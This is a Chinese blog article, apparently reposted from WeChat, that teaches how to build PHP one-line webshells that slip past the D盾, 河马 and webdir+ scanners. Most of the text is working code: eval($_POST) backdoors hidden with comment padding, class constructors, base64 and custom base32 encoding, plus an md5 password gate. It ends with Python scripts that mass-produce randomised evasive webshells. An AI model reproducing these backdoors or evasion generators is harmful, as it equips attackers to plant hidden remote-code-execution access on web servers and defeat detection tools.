本文由 简悦 SimpRead 转码， 原文地址 mp.weixin.qq.com
0x00：简介-
此篇只讨论php，其实原理是相同的，本文的思路依然适用于其他语言
由于php7.1以后assert不能拆分了，所以此篇不使用assert函数作为核心，使用适用性更广的eval。
免杀顺序依次为D盾 河马 webdir+
0x01：探究免杀
免杀D盾
首先我们需要了解免杀的原理，免杀其实就是绕过杀软的规则，而规则对我们来说是不透明的，但是可以根据fuzz探知个大概。
首先请出我们的一句话木马：
<?php @eval($_POST('a'));?>
无论如何混淆webshell，我们期望最终得到的逻辑依然是这条代码，所以答案知道了，想办法混淆就行了。
经过对D盾的探测，可以知道，它对函数的检测其实是比较粗糙的，比如我们构造一个函数，让其返回值拼接为
eval($_POST['a'])
<?php
function x()
{
return $_POST['a'];
}
eval(x());
?>
D盾扫一下
被杀了，显然D盾并没有给出我们为什么这个会被杀，只说是已知后门，这里我们测试一下到底是什么东西被规则杀掉了。
首先，无论如何更改函数名，都会被杀掉，所以和函数名没关系，然后就是eval内的参数了，测试后发现，只要拼接成eval($_POST['a'])就会被杀，因此我们避免语句直接拼接为这样即可。
如何避免直接拼接呢 当然是往中间加料了 加一些既不会破坏语法又能起到隔离作用的东西，什么东西可以做到这样呢？当然就是注释了
比如这样的：
<?php
function x()
{
return "/*sasas23123*/".$_POST['a']."/*sdfw3123*/";
}
eval(x());
?>
这里用两段注释在"eval("与"$_POST"之间起到了隔离的作用，因此绕过了直接拼接这个规则，D盾继续杀一下
已经免杀成功，再看一下能否使用
既然如此，我们的核心绕过思路就是利用注释了，为了去除特征，必不可少的就是随机性了
使用函数返回值与eval拼接只是权宜之计，毕竟也是一条规则就能够被干掉的。
所以我们这里使用类和构造函数来替代主动调用函数，
<?php
class x
{
function __construct()
{
@eval("/*sasas23123*/".$_POST['a']."/*sdfw3123*/");
}
}
new x();
?>
改到这里，我不禁想 如果D盾发狠把".$_POST['a']."当独立规则，那岂不是也歇菜，所以，我决定使用base64编码将"$_POST['a']"转化一下
<?php
class x
{
public $payload = null;
public $decode_payload = null;
function __construct()
{ $this->payload='ZXZhbCgkX1BPU1RbYV0pOw==';
$this->decode_payload = @base64_decode( $this->payload );
@eval("/*sasas23123*/".$this->decode_payload."/*sdfw3123*/");
}
}
new x();
?>
到现在为止，模板确认
后面就是写轮子了，至于轮子原理也很简单，就是将可以修改特征的参数名使用随机数填充，比如类名、public变量名、用于混淆的注释字符等。
代码如下：
import random
#author: pureqh
#github: https://github.com/pureqh/webshell
shell = '''<?php
class {0}{3}
public ${1} = null;
public ${2} = null;
function __construct(){3}
$this->{1}='ZXZhbCgkX1BPU1RbYV0pOw==';
$this->{2} = @base64_decode( $this->{1} );
@eval({5}.$this->{2}.{5});
{4}{4}
new {0}();
?>'''
def random_keys(len):
str = '`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))
def random_name(len):
str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))
def build_webshell():
className = random_name(4)
parameter1 = random_name(5)
parameter2 = random_name(6)
lef = '''{'''
rig = '''}'''
disrupt = "\"/*"+random_keys(7)+"*/\""
shellc = shell.format(className,parameter1,parameter2,lef,rig,disrupt)
return shellc
if __name__ == '__main__':
print (build_webshell())
免杀河马
首先我们拿出之前的样本：
<?php
class YHUV{
public $BSFRM = null;
public $YVMQFW = null;
function __construct(){
$this->BSFRM='ZXZhbCgkX1BPU1RbYV0pOw==';
$this->YVMQFW = @base64_decode( $this->BSFRM );
@eval("/*rEgV_Cd*/".$this->YVMQFW."/*rEgV_Cd*/");
}}
new YHUV();
?>
直接拿去河马查杀一下，
它很可能通过拼接得到了"eval($_POST[xxx]);"，所以认定为木马，那我加一层认证如何
<?php
class BTAG{
public $QOMYW = null;
public $XGTCPL = null;
public $YIOXAL = null;
function __construct(){
if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
$this->QOMYW = 'ZXZhbCgkX1BPU';
$this->YIOXAL = '1RbYV0pOw==';
$this->XGTCPL = @base64_decode($this->QOMYW.$this->YIOXAL);
@eval("/*#`|W$~Q*/".$this->XGTCPL."/*#`|W$~Q*/");
}}}
new BTAG();
?>
这个我是真没想到...
免杀webdir+
官方说它会拿沙盒跑
我们拿绕过河马的马跑一下，这里的检测速度之所以比较慢就是因为它在跑沙盒，这种方式确实比传统的查杀工具难搞很多，但是它并不完美。
由于eval依然无法动摇，所以我依旧从"$_POST['a']"下手,首先这串字符编码后是过不去webdir+的，但是不编码也过不去，我猜测可能是沙盒在模拟运行的时候拼接出了eval($_POST['a'])，导致被杀，那我使用md5做密钥它总跑不出来吧。修改代码如下：
<?php
class YHUV{
public $BSFRM = null;
public $YVMQFW = null;
function __construct(){
if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
$this->BSFRM=$_POST['a'];
@eval("/*rEgV_Cd*/".$this->BSFRM."/*rEgV_Cd*/");
}
}}
new YHUV();
?>
还是被杀了，我反而很高兴，那这也说明一个问题，你并没有顺利执行过我的马，那说明我eval()里的东西一直都是安全的，那么不安全的肯定就是"$_POST['a']"了，这个怎么解决呢？
经过大量测试 我发现了一个事情 base64不行了
base64不行了怎么办？我直接用base32，php没有自带的base32？那就自己写
function base32_encode($input) {
$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
$output = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($input); $i < $j; $i++) {
$v <<= 8;
$v += ord($input[$i]);
$vbits += 8;
while ($vbits >= 5) {
$vbits -= 5;
$output .= $BASE32_ALPHABET[$v >> $vbits];
$v &= ((1 << $vbits) - 1);
}
}
if ($vbits > 0) {
$v <<= (5 - $vbits);
$output .= $BASE32_ALPHABET[$v];
}
return $output;
}
function base32_decode($input) {
$output = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($input); $i < $j; $i++) {
$v <<= 5;
if ($input[$i] >= 'a' && $input[$i] <= 'z') {
$v += (ord($input[$i]) - 97);
} elseif ($input[$i] >= '2' && $input[$i] <= '7') {
$v += (24 + $input[$i]);
} else {
exit(1);
}
$vbits += 5;
while ($vbits >= 8) {
$vbits -= 8;
$output .= chr($v >> $vbits);
$v &= ((1 << $vbits) - 1);
}
}
return $output;
}
shell如下，直接使用base32处理"eval($_POST[zero]);"
<?php
class ZQIH{
public $a = null;
public $b = null;
public $c = null;
function __construct(){
if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
$this->a = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
$this->LGZOJH = @base32_decode($this->a);
@eval/*sopupi3240-=*/("/*iSAC[FH*/".$this->LGZOJH."/*iSAC[FH*/");
}}}
new ZQIH();
function base32_encode($input) {
$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
$output = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($input); $i < $j; $i++) {
$v <<= 8;
$v += ord($input[$i]);
$vbits += 8;
while ($vbits >= 5) {
$vbits -= 5;
$output .= $BASE32_ALPHABET[$v >> $vbits];
$v &= ((1 << $vbits) - 1);
}
}
if ($vbits > 0) {
$v <<= (5 - $vbits);
$output .= $BASE32_ALPHABET[$v];
}
return $output;
}
function base32_decode($input) {
$output = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($input); $i < $j; $i++) {
$v <<= 5;
if ($input[$i] >= 'a' && $input[$i] <= 'z') {
$v += (ord($input[$i]) - 97);
} elseif ($input[$i] >= '2' && $input[$i] <= '7') {
$v += (24 + $input[$i]);
} else {
exit(1);
}
$vbits += 5;
while ($vbits >= 8) {
$vbits -= 8;
$output .= chr($v >> $vbits);
$v &= ((1 << $vbits) - 1);
}
}
return $output;
}
?>
继续查杀：
能否运行：
至此，我们似乎找到了盲点，以后直接自己写加密完事了。可惜一句话木马也被写成一段话木马了。。。不过在渗透测试过程中完全可以将其拆分为多个文件互相调用。
0x02：批量代码
同样为了减少特征
代码如下
import random
#author: pureqh
#github: https://github.com/pureqh/webshell
#use:GET:http://url?pass=pureqh POST:zero
shell = '''<?php
class {0}{1}
public ${2} = null;
public ${3} = null;
function __construct(){1}
if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){1}
$this->{2} = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
$this->{3} = @{9}($this->{2});
@eval({5}.$this->{3}.{5});
{4}{4}{4}
new {0}();
function {6}(${7}){1}
$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
${8} = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1}
$v <<= 8;
$v += ord(${7}[$i]);
$vbits += 8;
while ($vbits >= 5) {1}
$vbits -= 5;
${8} .= $BASE32_ALPHABET[$v >> $vbits];
$v &= ((1 << $vbits) - 1);{4}{4}
if ($vbits > 0){1}
$v <<= (5 - $vbits);
${8} .= $BASE32_ALPHABET[$v];{4}
return ${8};{4}
function {9}(${7}){1}
${8} = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1}
$v <<= 5;
if (${7}[$i] >= 'a' && ${7}[$i] <= 'z'){1}
$v += (ord(${7}[$i]) - 97);
{4} elseif (${7}[$i] >= '2' && ${7}[$i] <= '7') {1}
$v += (24 + ${7}[$i]);
{4} else {1}
exit(1);
{4}
$vbits += 5;
while ($vbits >= 8){1}
$vbits -= 8;
${8} .= chr($v >> $vbits);
$v &= ((1 << $vbits) - 1);{4}{4}
return ${8};{4}
?>'''
def random_keys(len):
str = '`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))
def random_name(len):
str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))
def build_webshell():
className = random_name(4)
lef = '''{'''
parameter1 = random_name(4)
parameter2 = random_name(4)
rig = '''}'''
disrupt = "\"/*"+random_keys(7)+"*/\""
fun1 = random_name(4)
fun1_vul = random_name(4)
fun1_ret = random_name(4)
fun2 = random_name(4)
shellc = shell.format(className,lef,parameter1,parameter2,rig,disrupt,fun1,fun1_vul,fun1_ret,fun2)
return shellc
if __name__ == '__main__':
print (build_webshell())
【往期推荐】
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
走过路过的大佬们留个关注再走呗
往期文章有彩蛋哦****